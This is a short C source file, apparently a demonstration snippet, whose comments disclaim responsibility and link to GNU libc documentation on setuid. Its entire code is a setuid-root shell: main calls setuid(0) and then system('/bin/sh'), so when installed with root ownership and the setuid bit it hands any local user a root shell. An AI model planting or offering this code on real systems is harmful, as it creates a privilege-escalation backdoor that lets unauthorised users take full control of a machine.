

//DO NOT use this on any computer but your own.
//It is for demonstration purposes only.
//
//I am not responsible for anything you do, or any dataloss that may occur from
//using this.
//
//Really, there is nothing special here. I'm not a hacker. Many examples
//like this exist on the web.
//
//MORE INFO ON SETUID:
//http://www.gnu.org/software/libc/manual/html_node/Setuid-Program-Example.html

int main(int c, char **v)
{
   setuid(0);

   system("/bin/sh");
   return(0);
}
